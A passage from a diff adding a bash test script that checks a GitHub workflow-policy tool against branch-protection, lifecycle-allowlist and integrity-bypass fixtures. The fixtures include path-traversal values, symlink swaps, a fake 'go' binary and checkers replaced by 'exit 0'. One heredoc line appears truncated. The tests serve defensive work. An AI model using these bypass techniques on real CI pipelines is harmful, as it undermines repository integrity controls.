BEFORE_SHA=ffffffffffffffffffffffffffffffffffffffff EVENT_NAME=pull_request_target GITHUB_OUTPUT="${bootstrap_output}" bash "${bootstrap_selector}") +grep -Fxq -- 'root=trusted' "${bootstrap_output}" + +classic_protection="${tmp_dir}/classic-protection.json" +ruleset_protection="${tmp_dir}/ruleset-protection.json" +invalid_protection="${tmp_dir}/invalid-protection.json" +repository_metadata="${tmp_dir}/repository-metadata.json" +tag_protection="${tmp_dir}/tag-protection.json" +printf '{}\n' >"${invalid_protection}" +printf '{"default_branch":"main"}\n' >"${repository_metadata}" +cat >"${classic_protection}" <<'JSON' +{ + "enforce_admins":{"enabled":true}, + "required_status_checks":{ + "strict":true, + "contexts":["Public Workflow Policy / policy"], + "checks":[{"context":"Public Workflow Policy / policy","app_id":15368}] + }, + "required_pull_request_reviews":{ + "required_approving_review_count":1, + "dismiss_stale_reviews":true, + "bypass_pull_request_allowances":{"users":[],"teams":[],"apps":[]} + }, + "restrictions":null, + "allow_force_pushes":{"enabled":false}, + "allow_deletions":{"enabled":false} +} +JSON +cat >"${ruleset_protection}" <<'JSON' +{ + "target":"branch", + "enforcement":"active", + "bypass_actors":[], + "conditions":{"ref_name":{"include":["~DEFAULT_BRANCH"],"exclude":[]}}, + "rules":[ + {"type":"pull_request","parameters":{"required_approving_review_count":1,"dismiss_stale_reviews_on_push":true}}, + {"type":"required_status_checks","parameters":{"strict_required_status_checks_policy":true,"required_status_checks":[{"context":"Public Workflow Policy / policy","integration_id":15368}]}}, + {"type":"non_fast_forward"}, + {"type":"deletion"} + ] +} +JSON +cat >"${tag_protection}" <<'JSON' +{ + "id":18817055, + "name":"Protect release tags", + "target":"tag", + "enforcement":"active", + "bypass_actors":[{"actor_id":null,"actor_type":"OrganizationAdmin","bypass_mode":"always"}], + "conditions":{"ref_name":{"include":["refs/tags/v*"],"exclude":[]}}, + "rules":[{"type":"creation"},{"type":"update"},{"type":"deletion"}] +} +JSON +PUBLIC_WORKFLOW_PROTECTION_FIXTURE_MODE=1 PUBLIC_WORKFLOW_CLASSIC_JSON_FILE="${classic_protection}" PUBLIC_WORKFLOW_RULESET_JSON_FILE="${invalid_protection}" PUBLIC_WORKFLOW_REPOSITORY_JSON_FILE="${repository_metadata}" PUBLIC_WORKFLOW_TAG_RULESET_JSON_FILE="${tag_protection}" \ + "${protection_verifier}" example/repo main >/dev/null +PUBLIC_WORKFLOW_PROTECTION_FIXTURE_MODE=1 PUBLIC_WORKFLOW_CLASSIC_JSON_FILE="${invalid_protection}" PUBLIC_WORKFLOW_RULESET_JSON_FILE="${ruleset_protection}" PUBLIC_WORKFLOW_REPOSITORY_JSON_FILE="${repository_metadata}" PUBLIC_WORKFLOW_TAG_RULESET_JSON_FILE="${tag_protection}" \ + "${protection_verifier}" example/repo main >/dev/null +ruleset_explicit="${ruleset_protection}.explicit" +jq '.conditions.ref_name.include=["refs/heads/release"]' "${ruleset_protection}" >"${ruleset_explicit}" +PUBLIC_WORKFLOW_PROTECTION_FIXTURE_MODE=1 PUBLIC_WORKFLOW_CLASSIC_JSON_FILE="${invalid_protection}" PUBLIC_WORKFLOW_RULESET_JSON_FILE="${ruleset_explicit}" PUBLIC_WORKFLOW_REPOSITORY_JSON_FILE="${repository_metadata}" PUBLIC_WORKFLOW_TAG_RULESET_JSON_FILE="${tag_protection}" \ + "${protection_verifier}" example/repo release >/dev/null + +assert_protection_rejected() { + local kind="$1" + local fixture="$2" + local branch="${3:-main}" + local classic_file="${invalid_protection}" + local ruleset_file="${invalid_protection}" + if [[ "${kind}" == classic ]]; then + classic_file="${fixture}" + else + ruleset_file="${fixture}" + fi + set +e + PUBLIC_WORKFLOW_PROTECTION_FIXTURE_MODE=1 PUBLIC_WORKFLOW_CLASSIC_JSON_FILE="${classic_file}" PUBLIC_WORKFLOW_RULESET_JSON_FILE="${ruleset_file}" PUBLIC_WORKFLOW_REPOSITORY_JSON_FILE="${repository_metadata}" PUBLIC_WORKFLOW_TAG_RULESET_JSON_FILE="${tag_protection}" \ + "${protection_verifier}" example/repo "${branch}" >/dev/null 2>&1 + local status=$? + set -e + if [[ "${status}" -eq 0 ]]; then + echo "${kind} protection accepted an invalid producer/freshness fixture: ${fixture}" >&2 + exit 1 + fi +} +jq 'del(.required_status_checks.strict)' "${classic_protection}" >"${classic_protection}.missing" +jq '.required_status_checks.strict=false' "${classic_protection}" >"${classic_protection}.false" +assert_protection_rejected classic "${classic_protection}.missing" +assert_protection_rejected classic "${classic_protection}.false" +jq 'del(.required_status_checks.checks[0].app_id)' "${classic_protection}" >"${classic_protection}.producer-missing" +jq '.required_status_checks.checks[0].app_id=99999' "${classic_protection}" >"${classic_protection}.producer-wrong" +jq '.required_status_checks.checks[0].app_id=null' "${classic_protection}" >"${classic_protection}.producer-null" +jq 'del(.required_status_checks.checks)' "${classic_protection}" >"${classic_protection}.legacy-context-only" +assert_protection_rejected classic "${classic_protection}.producer-missing" +assert_protection_rejected classic "${classic_protection}.producer-wrong" +assert_protection_rejected classic "${classic_protection}.producer-null" +assert_protection_rejected classic "${classic_protection}.legacy-context-only" +jq 'del(.rules[1].parameters.strict_required_status_checks_policy)' "${ruleset_protection}" >"${ruleset_protection}.missing" +jq '.rules[1].parameters.strict_required_status_checks_policy=false' "${ruleset_protection}" >"${ruleset_protection}.false" +assert_protection_rejected ruleset "${ruleset_protection}.missing" +assert_protection_rejected ruleset "${ruleset_protection}.false" +jq 'del(.rules[1].parameters.required_status_checks[0].integration_id)' "${ruleset_protection}" >"${ruleset_protection}.producer-missing" +jq '.rules[1].parameters.required_status_checks[0].integration_id=99999' "${ruleset_protection}" >"${ruleset_protection}.producer-wrong" +jq '.rules[1].parameters.required_status_checks[0].integration_id=null' "${ruleset_protection}" >"${ruleset_protection}.producer-null" +jq '.rules[1].parameters.required_status_checks=[] | .rules[1].parameters.contexts=["Public Workflow Policy / policy"]' "${ruleset_protection}" >"${ruleset_protection}.legacy-context-only" +assert_protection_rejected ruleset "${ruleset_protection}.producer-missing" +assert_protection_rejected ruleset "${ruleset_protection}.producer-wrong" +assert_protection_rejected ruleset "${ruleset_protection}.producer-null" +assert_protection_rejected ruleset "${ruleset_protection}.legacy-context-only" +jq '.rules |= map(select(.type != "non_fast_forward"))' "${ruleset_protection}" >"${ruleset_protection}.missing-non-fast-forward" +jq '.rules |= map(select(.type != "deletion"))' "${ruleset_protection}" >"${ruleset_protection}.missing-deletion" +assert_protection_rejected ruleset "${ruleset_protection}.missing-non-fast-forward" +assert_protection_rejected ruleset "${ruleset_protection}.missing-deletion" +assert_protection_rejected ruleset "${ruleset_protection}" release + +assert_tag_protection_rejected() { + local fixture="$1" + set +e + PUBLIC_WORKFLOW_PROTECTION_FIXTURE_MODE=1 PUBLIC_WORKFLOW_CLASSIC_JSON_FILE="${classic_protection}" PUBLIC_WORKFLOW_RULESET_JSON_FILE="${invalid_protection}" PUBLIC_WORKFLOW_REPOSITORY_JSON_FILE="${repository_metadata}" PUBLIC_WORKFLOW_TAG_RULESET_JSON_FILE="${fixture}" \ + "${protection_verifier}" example/repo main >/dev/null 2>&1 + local status=$? + set -e + if [[ "${status}" -eq 0 ]]; then + echo "tag protection accepted invalid fixture: ${fixture}" >&2 + exit 1 + fi +} +for rule_type in creation update deletion; do + jq --arg type "${rule_type}" '.rules |= map(select(.type != $type))' "${tag_protection}" >"${tag_protection}.missing-${rule_type}" + assert_tag_protection_rejected "${tag_protection}.missing-${rule_type}" +done +jq '.conditions.ref_name.include=["refs/tags/*"]' "${tag_protection}" >"${tag_protection}.broader-include" +jq '.conditions.ref_name.include += ["refs/tags/*"]' "${tag_protection}" >"${tag_protection}.extra-include" +jq '.conditions.ref_name.exclude=["refs/tags/v0.*"]' "${tag_protection}" >"${tag_protection}.exclude" +jq '.bypass_actors=[]' "${tag_protection}" >"${tag_protection}.missing-bypass" +jq '.bypass_actors += [{"actor_id":1,"actor_type":"RepositoryRole","bypass_mode":"always"}]' "${tag_protection}" >"${tag_protection}.extra-bypass" +jq 'del(.bypass_actors[0].actor_id)' "${tag_protection}" >"${tag_protection}.missing-bypass-actor-id" +jq '.bypass_actors[0].actor_id=1' "${tag_protection}" >"${tag_protection}.wrong-bypass-actor-id" +jq '.bypass_actors[0].actor_type="Team"' "${tag_protection}" >"${tag_protection}.wrong-bypass-actor-type" +jq '.bypass_actors[0].bypass_mode="pull_request"' "${tag_protection}" >"${tag_protection}.wrong-bypass-mode" +jq '.target="branch"' "${tag_protection}" >"${tag_protection}.wrong-target" +jq '.enforcement="evaluate"' "${tag_protection}" >"${tag_protection}.wrong-enforcement" +for invalid_tag_fixture in broader-include extra-include exclude missing-bypass extra-bypass missing-bypass-actor-id wrong-bypass-actor-id wrong-bypass-actor-type wrong-bypass-mode wrong-target wrong-enforcement; do + assert_tag_protection_rejected "${tag_protection}.${invalid_tag_fixture}" +done + +lifecycle_root="${tmp_dir}/lifecycle" +mkdir -p "${lifecycle_root}/.github/workflows" +mkdir -p "${lifecycle_root}/scripts" +lifecycle_workflow="${lifecycle_root}/.github/workflows/lifecycle.yml" +lifecycle_transition="${tmp_dir}/lifecycle-transition.json" +lifecycle_presence="${tmp_dir}/lifecycle-presence.json" +cat >"${lifecycle_presence}" <<'JSON' +[ + {"path":".github/workflows/lifecycle.yml","contextSHA256":"520dfbf6fb88a8734c2e19b80fa0fdca65769a172442709a0bbac0d2695d7ca5","state":"active","presence":"present"}, + {"path":".github/workflows/lifecycle.yml","contextSHA256":"c985f3c24ee6b14675094e63cb9c0fd27a4f05ebab6297770b309229057724cc","state":"staged","presence":"present"} +] +JSON +cat >"${lifecycle_transition}" <<'JSON' +[ + {"path":".github/workflows/lifecycle.yml","command":"echo","statementSHA256":"819b561be4b01d042acf9c152963504db679c1f35863be463a27d0b1f829fce2","contextSHA256":"520dfbf6fb88a8734c2e19b80fa0fdca65769a172442709a0bbac0d2695d7ca5","state":"active","rationale":"Current lifecycle context."}, + {"path":".github/workflows/lifecycle.yml","command":"lifecycle.sh","statementSHA256":"dba5e9682987ecf0db39babf5824d3bdea717b091db48e154c082bced59f6b79","contextSHA256":"520dfbf6fb88a8734c2e19b80fa0fdca65769a172442709a0bbac0d2695d7ca5","state":"active","rationale":"Current lifecycle executable."}, + {"path":".github/workflows/lifecycle.yml","command":"echo","statementSHA256":"fe696343d9c54236742da9a5f73af7180c94578dca254d9099440c71775da76a","contextSHA256":"c985f3c24ee6b14675094e63cb9c0fd27a4f05ebab6297770b309229057724cc","state":"staged","rationale":"Future lifecycle context."}, + {"path":".github/workflows/lifecycle.yml","command":"lifecycle.sh","statementSHA256":"dba5e9682987ecf0db39babf5824d3bdea717b091db48e154c082bced59f6b79","contextSHA256":"c985f3c24ee6b14675094e63cb9c0fd27a4f05ebab6297770b309229057724cc","state":"staged","rationale":"Future lifecycle executable."} +] +JSON +lifecycle_executables="${tmp_dir}/lifecycle-executables.json" +cat >"${lifecycle_executables}" <<'JSON' +[ + {"path":"scripts/lifecycle.sh","workflowPath":".github/workflows/lifecycle.yml","contextSHA256":"520dfbf6fb88a8734c2e19b80fa0fdca65769a172442709a0bbac0d2695d7ca5","state":"active","sha256":"2e1f5a51dcffcd76df111e383338b6d7e68d8b01ab088636ea87758a05b0e084","rationale":"Current script hash."}, + {"path":"scripts/lifecycle.sh","workflowPath":".github/workflows/lifecycle.yml","contextSHA256":"c985f3c24ee6b14675094e63cb9c0fd27a4f05ebab6297770b309229057724cc","state":"staged","sha256":"cacb7804eaa7158147c9216632414e3ec06c3bd463d7a72f2a9aa7b6b06290e0","rationale":"Future script hash."} +] +JSON +printf '#!/usr/bin/env bash\necho old\n' >"${lifecycle_root}/scripts/lifecycle.sh" +cp "${fixtures}/lifecycle-old.yml" "${lifecycle_workflow}" +"${checker_binary}" --scan-root "${lifecycle_root}" --presence-allowlist "${lifecycle_presence}" --allowlist "${empty_allowlist}" --executable-allowlist "${lifecycle_executables}" --command-allowlist "${lifecycle_transition}" --action-allowlist "${empty_allowlist}" +printf '#!/usr/bin/env bash\necho future\n' >"${lifecycle_root}/scripts/lifecycle.sh" +cp "${fixtures}/lifecycle-future.yml" "${lifecycle_workflow}" +"${checker_binary}" --scan-root "${lifecycle_root}" --presence-allowlist "${lifecycle_presence}" --allowlist "${empty_allowlist}" --executable-allowlist "${lifecycle_executables}" --command-allowlist "${lifecycle_transition}" --action-allowlist "${empty_allowlist}" +lifecycle_cleanup="${tmp_dir}/lifecycle-cleanup.json" +jq 'map(select(.state=="staged") | .state="active")' "${lifecycle_transition}" >"${lifecycle_cleanup}" +jq '[.[1] | .state="active"]' "${lifecycle_presence}" >"${lifecycle_presence}.cleanup" +jq '[.[1] | .state="active"]' "${lifecycle_executables}" >"${lifecycle_executables}.cleanup" +"${checker_binary}" --scan-root "${lifecycle_root}" --presence-allowlist "${lifecycle_presence}.cleanup" --allowlist "${empty_allowlist}" --executable-allowlist "${lifecycle_executables}.cleanup" --command-allowlist "${lifecycle_cleanup}" --action-allowlist "${empty_allowlist}" + +# Workflow additions and deletions use the same trusted three-phase lifecycle. +# An absent tombstone authorizes zero matching workflow files without weakening +# the default failure for an undeclared empty workflow set. +lifecycle_add_presence="${tmp_dir}/lifecycle-add-presence.json" +cat >"${lifecycle_add_presence}" <<'JSON' +[ + {"path":".github/workflows/lifecycle.yml","state":"active","presence":"absent"}, + {"path":".github/workflows/lifecycle.yml","contextSHA256":"c985f3c24ee6b14675094e63cb9c0fd27a4f05ebab6297770b309229057724cc","state":"staged","presence":"present"} +] +JSON +jq '[.[] | select(.state=="staged")]' "${lifecycle_transition}" >"${lifecycle_transition}.add" +jq '[.[] | select(.state=="staged")]' "${lifecycle_executables}" >"${lifecycle_executables}.add" +rm -f "${lifecycle_workflow}" "${lifecycle_root}/scripts/lifecycle.sh" +"${checker_binary}" --scan-root "${lifecycle_root}" --presence-allowlist "${lifecycle_add_presence}" --allowlist "${empty_allowlist}" --executable-allowlist "${lifecycle_executables}.add" --command-allowlist "${lifecycle_transition}.add" --action-allowlist "${empty_allowlist}" +printf '#!/usr/bin/env bash\necho future\n' >"${lifecycle_root}/scripts/lifecycle.sh" +cp "${fixtures}/lifecycle-future.yml" "${lifecycle_workflow}" +"${checker_binary}" --scan-root "${lifecycle_root}" --presence-allowlist "${lifecycle_add_presence}" --allowlist "${empty_allowlist}" --executable-allowlist "${lifecycle_executables}.add" --command-allowlist "${lifecycle_transition}.add" --action-allowlist "${empty_allowlist}" +jq '[.[1] | .state="active"]' "${lifecycle_add_presence}" >"${lifecycle_add_presence}.cleanup" +jq 'map(.state="active")' "${lifecycle_transition}.add" >"${lifecycle_transition}.add-cleanup" +jq 'map(.state="active")' "${lifecycle_executables}.add" >"${lifecycle_executables}.add-cleanup" +"${checker_binary}" --scan-root "${lifecycle_root}" --presence-allowlist "${lifecycle_add_presence}.cleanup" --allowlist "${empty_allowlist}" --executable-allowlist "${lifecycle_executables}.add-cleanup" --command-allowlist "${lifecycle_transition}.add-cleanup" --action-allowlist "${empty_allowlist}" + +lifecycle_delete_presence="${tmp_dir}/lifecycle-delete-presence.json" +cat >"${lifecycle_delete_presence}" <<'JSON' +[ + {"path":".github/workflows/lifecycle.yml","contextSHA256":"c985f3c24ee6b14675094e63cb9c0fd27a4f05ebab6297770b309229057724cc","state":"active","presence":"present"}, + {"path":".github/workflows/lifecycle.yml","state":"staged","presence":"absent"} +] +JSON +"${checker_binary}" --scan-root "${lifecycle_root}" --presence-allowlist "${lifecycle_delete_presence}" --allowlist "${empty_allowlist}" --executable-allowlist "${lifecycle_executables}.add-cleanup" --command-allowlist "${lifecycle_transition}.add-cleanup" --action-allowlist "${empty_allowlist}" +rm -f "${lifecycle_workflow}" "${lifecycle_root}/scripts/lifecycle.sh" +"${checker_binary}" --scan-root "${lifecycle_root}" --presence-allowlist "${lifecycle_delete_presence}" --allowlist "${empty_allowlist}" --executable-allowlist "${lifecycle_executables}.add-cleanup" --command-allowlist "${lifecycle_transition}.add-cleanup" --action-allowlist "${empty_allowlist}" +jq '[.[1] | .state="active"]' "${lifecycle_delete_presence}" >"${lifecycle_delete_presence}.cleanup" +"${checker_binary}" --scan-root "${lifecycle_root}" --presence-allowlist "${lifecycle_delete_presence}.cleanup" --allowlist "${empty_allowlist}" --executable-allowlist "${empty_allowlist}" --command-allowlist "${empty_allowlist}" --action-allowlist "${empty_allowlist}" + +set +e +undeclared_empty_output="$("${checker_binary}" --scan-root "${lifecycle_root}" --presence-allowlist "${empty_allowlist}" --allowlist "${empty_allowlist}" --executable-allowlist "${empty_allowlist}" --command-allowlist "${empty_allowlist}" --action-allowlist "${empty_allowlist}" 2>&1)" +undeclared_empty_status=$? +set -e +if [[ "${undeclared_empty_status}" -eq 0 ]] || ! grep -Fq -- "no public workflow files found and no trusted absence is declared" <<<"${undeclared_empty_output}"; then + echo "empty workflow set passed without a trusted absence declaration" >&2 + printf '%s\n' "${undeclared_empty_output}" >&2 + exit 1 +fi +invalid_tombstone="${tmp_dir}/invalid-tombstone.json" +printf '[{"path":"../../outside.yml","state":"active","presence":"absent"}]\n' >"${invalid_tombstone}" +set +e +invalid_tombstone_output="$("${checker_binary}" --scan-root "${lifecycle_root}" --presence-allowlist "${invalid_tombstone}" --allowlist "${empty_allowlist}" --executable-allowlist "${empty_allowlist}" --command-allowlist "${empty_allowlist}" --action-allowlist "${empty_allowlist}" 2>&1)" +invalid_tombstone_status=$? +set -e +if [[ "${invalid_tombstone_status}" -eq 0 ]] || ! grep -Fq -- "invalid trust group for ../../outside.yml" <<<"${invalid_tombstone_output}"; then + echo "malformed tombstone authorized an empty workflow inventory" >&2 + printf '%s\n' "${invalid_tombstone_output}" >&2 + exit 1 +fi + +assert_lifecycle_invalid() { + local manifest="$1" + local expected="$2" + set +e + local output + output="$("${checker_binary}" --scan-root "${lifecycle_root}" --presence-allowlist "${manifest}" --allowlist "${empty_allowlist}" --executable-allowlist "${lifecycle_executables}" --command-allowlist "${lifecycle_transition}" --action-allowlist "${empty_allowlist}" 2>&1)" + local status=$? + set -e + if [[ "${status}" -eq 0 ]] || ! grep -Fq -- "${expected}" <<<"${output}"; then + echo "invalid lifecycle manifest was accepted: ${expected}" >&2 + printf '%s\n' "${output}" >&2 + exit 1 + fi +} +lifecycle_invalid="${tmp_dir}/lifecycle-invalid.json" +# Restore the future fixture used by the invalid-manifest cases below. +printf '#!/usr/bin/env bash\necho future\n' >"${lifecycle_root}/scripts/lifecycle.sh" +cp "${fixtures}/lifecycle-future.yml" "${lifecycle_workflow}" +jq '.[0].state="pending" | [.[0]]' "${lifecycle_presence}" >"${lifecycle_invalid}" +assert_lifecycle_invalid "${lifecycle_invalid}" "invalid trust group" +jq '.[0].contextSHA256="cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" | [.[0]]' "${lifecycle_presence}" >"${lifecycle_invalid}" +assert_lifecycle_invalid "${lifecycle_invalid}" "no trust group matches workflow" +jq '.[0] as $active | .[1] as $staged | [$active, $staged, ($staged | .contextSHA256="cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc")]' "${lifecycle_presence}" >"${lifecycle_invalid}" +assert_lifecycle_invalid "${lifecycle_invalid}" "multiple staged trust groups" +jq '.[0] as $active | [$active, ($active | .state="staged")]' "${lifecycle_presence}" >"${lifecycle_invalid}" +assert_lifecycle_invalid "${lifecycle_invalid}" "mixed trust group state" +checker="${tmp_dir}/check-public-workflow-policy.sh" +cat >"${checker}" <"${integrity_extra}" +set +e +extra_go_output="$("${checker_binary}" 2>&1)" +extra_go_status=$? +set -e +rm -f "${integrity_extra}" +if [[ "${extra_go_status}" -eq 0 ]] || ! grep -Fq -- \ + "authority change does not match" <<<"${extra_go_output}"; then + echo "extra Go source bypassed policytool integrity" >&2 + printf '%s\n' "${extra_go_output}" >&2 + exit 1 +fi + +mkdir -p "${integrity_vendor}/mvdan.cc/sh/v3/syntax" +printf 'package syntax\n' >"${integrity_vendor}/mvdan.cc/sh/v3/syntax/override.go" +set +e +vendor_output="$("${checker_binary}" 2>&1)" +vendor_status=$? +set -e +rm -rf "${integrity_vendor}" +if [[ "${vendor_status}" -eq 0 ]] || ! grep -Fq -- \ + "authority change does not match" <<<"${vendor_output}"; then + echo "vendor override bypassed policytool integrity" >&2 + printf '%s\n' "${vendor_output}" >&2 + exit 1 +fi + +ln -s main.go "${integrity_symlink}" +set +e +symlink_output="$("${checker_binary}" 2>&1)" +symlink_status=$? +set -e +rm -f "${integrity_symlink}" +if [[ "${symlink_status}" -eq 0 ]] || ! grep -Fq -- \ + "policytool path must be a regular non-symlink file: extra-link.go" <<<"${symlink_output}"; then + echo "policytool symlink bypassed integrity" >&2 + printf '%s\n' "${symlink_output}" >&2 + exit 1 +fi + +cp -R "${policytool}" "${policytool_root_target}" +printf 'package main\nvar policytoolRootSymlinkBypass = true\n' >"${policytool_root_target}/extra_linux.go" +mv "${policytool}" "${policytool_root_backup}" +ln -s "${policytool_root_target}" "${policytool}" +policytool_root_fake_bin="${tmp_dir}/policytool-root-fake-bin" +mkdir -p "${policytool_root_fake_bin}" +cat >"${policytool_root_fake_bin}/go" <<'BASH' +#!/usr/bin/env bash +set -euo pipefail +: >"${POLICYTOOL_ROOT_GO_PROBE}" +exit 97 +BASH +chmod +x "${policytool_root_fake_bin}/go" +set +e +policytool_root_output="$(PATH="${policytool_root_fake_bin}:$PATH" \ + POLICYTOOL_ROOT_GO_PROBE="${policytool_root_go_probe}" \ + "${checker_binary}" 2>&1)" +policytool_root_status=$? +set -e +rm -f "${policytool}" +mv "${policytool_root_backup}" "${policytool}" +if [[ "${policytool_root_status}" -eq 0 ]] || ! grep -Fq -- \ + "policytool root must be a real non-symlink directory" <<<"${policytool_root_output}" || + [[ -e "${policytool_root_go_probe}" ]]; then + echo "policytool root symlink reached descendant validation or execution" >&2 + printf '%s\n' "${policytool_root_output}" >&2 + exit 1 +fi + +if ! grep -Fq -- 'exec env GOWORK=off GOFLAGS=-mod=readonly go run ./main.go' "${checker_binary}"; then + echo "policytool wrapper does not execute the fixed source file" >&2 + exit 1 +fi +if ! grep -Fq -- 'env GOWORK=off GOFLAGS=-mod=readonly go mod download' "${checker_binary}"; then + echo "policytool wrapper does not prepare dependencies read-only" >&2 + exit 1 +fi +if grep -Fq -- '-mod=mod' "${checker_binary}"; then + echo "policytool wrapper permits module mutation" >&2 + exit 1 +fi +policytool_hashes_before="$(git hash-object \ + "${policytool}/main.go" \ + "${policytool}/main_test.go" \ + "${policytool}/go.mod" \ + "${policytool}/go.sum" | tr '\n' ' ')" +"${checker_binary}" +ci_secret="${tmp_dir}/ci-secret.json" +ci_executable="${tmp_dir}/ci-executable.json" +ci_command="${tmp_dir}/ci-command.json" +ci_action="${tmp_dir}/ci-action.json" +ci_presence="${tmp_dir}/ci-presence.json" +jq '[.[] | select(.path == ".github/workflows/ci.yml")]' \ + "${repo_root}/.github/public-workflow-secret-allowlist.json" >"${ci_secret}" +jq '[.[] | select(.workflowPath == ".github/workflows/ci.yml")]' \ + "${repo_root}/.github/public-workflow-executable-allowlist.json" >"${ci_executable}" +jq '[.[] | select(.path == ".github/workflows/ci.yml")]' \ + "${repo_root}/.github/public-workflow-command-allowlist.json" >"${ci_command}" +jq '[.[] | select(.path == ".github/workflows/ci.yml")]' \ + "${repo_root}/.github/public-workflow-action-allowlist.json" >"${ci_action}" +jq '[.[] | select(.path == ".github/workflows/ci.yml")]' \ + "${repo_root}/.github/public-workflow-presence-allowlist.json" >"${ci_presence}" +ci_policy_args=( + --allowlist "${ci_secret}" + --executable-allowlist "${ci_executable}" + --command-allowlist "${ci_command}" + --action-allowlist "${ci_action}" + --presence-allowlist "${ci_presence}" +) +(cd "${policytool}" && \ + "${checker_binary}" "${ci_policy_args[@]}" ".github/workflows/ci.yml") +policytool_hashes_after="$(git hash-object \ + "${policytool}/main.go" \ + "${policytool}/main_test.go" \ + "${policytool}/go.mod" \ + "${policytool}/go.sum" | tr '\n' ' ')" +if [[ "${policytool_hashes_before}" != "${policytool_hashes_after}" ]]; then + echo "read-only policytool preparation changed trusted files" >&2 + exit 1 +fi + +trailing_secret="${tmp_dir}/trailing-secret.json" +trailing_executable="${tmp_dir}/trailing-executable.json" +trailing_command="${tmp_dir}/trailing-command.json" +trailing_action="${tmp_dir}/trailing-action.json" +trailing_presence="${tmp_dir}/trailing-presence.json" +printf '[] {}\n' >"${trailing_secret}" +printf '[] garbage\n' >"${trailing_executable}" +printf '[] {}\n' >"${trailing_command}" +printf '[] garbage\n' >"${trailing_action}" +printf '[] {}\n' >"${trailing_presence}" +for trust_input in secret executable command action presence; do + args=() + case "${trust_input}" in + secret) args=(--allowlist "${trailing_secret}") ;; + executable) args=(--executable-allowlist "${trailing_executable}") ;; + command) args=(--command-allowlist "${trailing_command}") ;; + action) args=(--action-allowlist "${trailing_action}") ;; + presence) args=(--presence-allowlist "${trailing_presence}") ;; + esac + set +e + trailing_output="$("${checker_binary}" "${args[@]}" 2>&1)" + trailing_status=$? + set -e + if [[ "${trailing_status}" -eq 0 ]] || ! grep -Fq -- "unexpected trailing JSON" <<<"${trailing_output}"; then + echo "${trust_input} allowlist accepted trailing JSON" >&2 + printf '%s\n' "${trailing_output}" >&2 + exit 1 + fi +done + +null_allowlist="${tmp_dir}/null-allowlist.json" +printf 'null\n' >"${null_allowlist}" +set +e +null_output="$("${checker_binary}" --allowlist "${null_allowlist}" 2>&1)" +null_status=$? +set -e +if [[ "${null_status}" -eq 0 ]] || ! grep -Fq -- "top-level JSON array must not be null" <<<"${null_output}"; then + echo "secret allowlist accepted JSON null" >&2 + printf '%s\n' "${null_output}" >&2 + exit 1 +fi + +candidate_root="${tmp_dir}/candidate" +mkdir -p "${candidate_root}" +cp -R "${repo_root}/.github" "${candidate_root}/.github" +cp -R "${repo_root}/scripts" "${candidate_root}/scripts" +"${checker_binary}" --scan-root "${candidate_root}" + +# Candidate trust manifests are parsed only as transition data. Replacing one +# cannot weaken the trusted-base workflow authority. +candidate_presence="${candidate_root}/.github/public-workflow-presence-allowlist.json" +printf '[]\n' >"${candidate_presence}" +set +e +candidate_trust_output="$("${checker_binary}" --scan-root "${candidate_root}" 2>&1)" +candidate_trust_status=$? +set -e +if [[ "${candidate_trust_status}" -eq 0 ]] || ! grep -Fq -- \ + "trust manifest change does not match" <<<"${candidate_trust_output}"; then + echo "candidate trust-manifest replacement bypassed transition validation" >&2 + printf '%s\n' "${candidate_trust_output}" >&2 + exit 1 +fi +cp "${repo_root}/.github/public-workflow-presence-allowlist.json" "${candidate_presence}" + +# Candidate analyzer and harness files are inventoried as data and require an +# authorized bundle lifecycle before they can become trusted implementation. +printf 'this is not Go source\n' >"${candidate_root}/.github/workflows/policytool/main.go" +set +e +candidate_analyzer_output="$("${checker_binary}" --scan-root "${candidate_root}" 2>&1)" +candidate_analyzer_status=$? +set -e +if [[ "${candidate_analyzer_status}" -eq 0 ]] || ! grep -Fq -- \ + "authority change does not match" <<<"${candidate_analyzer_output}"; then + echo "candidate analyzer mutation bypassed authority lifecycle" >&2 + printf '%s\n' "${candidate_analyzer_output}" >&2 + exit 1 +fi +cp "${repo_root}/.github/workflows/policytool/main.go" \ + "${candidate_root}/.github/workflows/policytool/main.go" + +candidate_checker="${candidate_root}/scripts/check-public-workflow-policy.sh" +printf '#!/usr/bin/env bash\nexit 0\n' >"${candidate_checker}" +set +e +candidate_checker_output="$("${checker_binary}" --scan-root "${candidate_root}" 2>&1)" +candidate_checker_status=$? +set -e +if [[ "${candidate_checker_status}" -eq 0 ]] || ! grep -Fq -- \ + "authority change does not match" <<<"${candidate_checker_output}"; then + echo "candidate CI checker mutation bypassed authority lifecycle" >&2 + printf '%s\n' "${candidate_checker_output}" >&2 + exit 1 +fi +cp "${repo_root}/scripts/check-public-workflow-policy.sh" "${candidate_checker}" + +candidate_policy_test="${candidate_root}/scripts/test-check-public-workflow-policy.sh" +printf '#!/usr/bin/env bash\nexit 0\n' >"${candidate_policy_test}" +set +e +candidate_test_output="$("${checker_binary}" --scan-root "${candidate_root}" 2>&1)" +candidate_test_status=$? +set -e +if [[ "${candidate_test_status}" -eq 0 ]] || ! grep -Fq -- \ + "authority change does not match" <<<"${candidate_test_output}"; then + echo "candidate CI policy-test mutation bypassed authority lifecycle" >&2 + printf '%s\n' "${candidate_test_output}" >&2 + exit 1 +fi +cp "${repo_root}/scripts/test-check-public-workflow-policy.sh" "${candidate_policy_test}" + +# Authority implementation changes use stage, adopt, then promote. The future +# bundle changes an operator-only verifier so the trusted wrapper remains +# executable throughout the lifecycle proof. +authority_path=".github/workflows/scripts/verify-public-workflow-branch-protection.sh" +candidate_authority="${candidate_root}/.github/public-workflow-authority.json" +candidate_verifier="${candidate_root}/${authority_path}" +archive_authority="${archive_repo}/.github/public-workflow-authority.json" +archive_verifier="${archive_repo}/${authority_path}" +active_authority="${tmp_dir}/authority-active.json" +active_verifier="${tmp_dir}/authority-active-verifier.sh" +staged_authority="${tmp_dir}/authority-staged.json" +future_verifier="${tmp_dir}/authority-future-verifier.sh" +cp "${candidate_authority}" "${active_authority}" +cp "${candidate_verifier}" "${active_verifier}" +cp "${candidate_verifier}" "${future_verifier}" +printf '\n# authority lifecycle fixture\n' >>"${future_verifier}" +future_verifier_sha="$(sha256_file "${future_verifier}")" +jq --arg path "${authority_path}" --arg sha "${future_verifier_sha}" ' + .bundles += [{ + state: "staged", + files: (.bundles[0].files | map(if .path == $path then .sha256 = $sha else . end)) + }] +' "${active_authority}" >"${staged_authority}" + +# Stage-only retains the active implementation. +cp "${staged_authority}" "${candidate_authority}" +"${checker_binary}" --scan-root "${candidate_root}" >/dev/null + +# The same pull request cannot both introduce and realize the staged bundle. +cp "${future_verifier}" 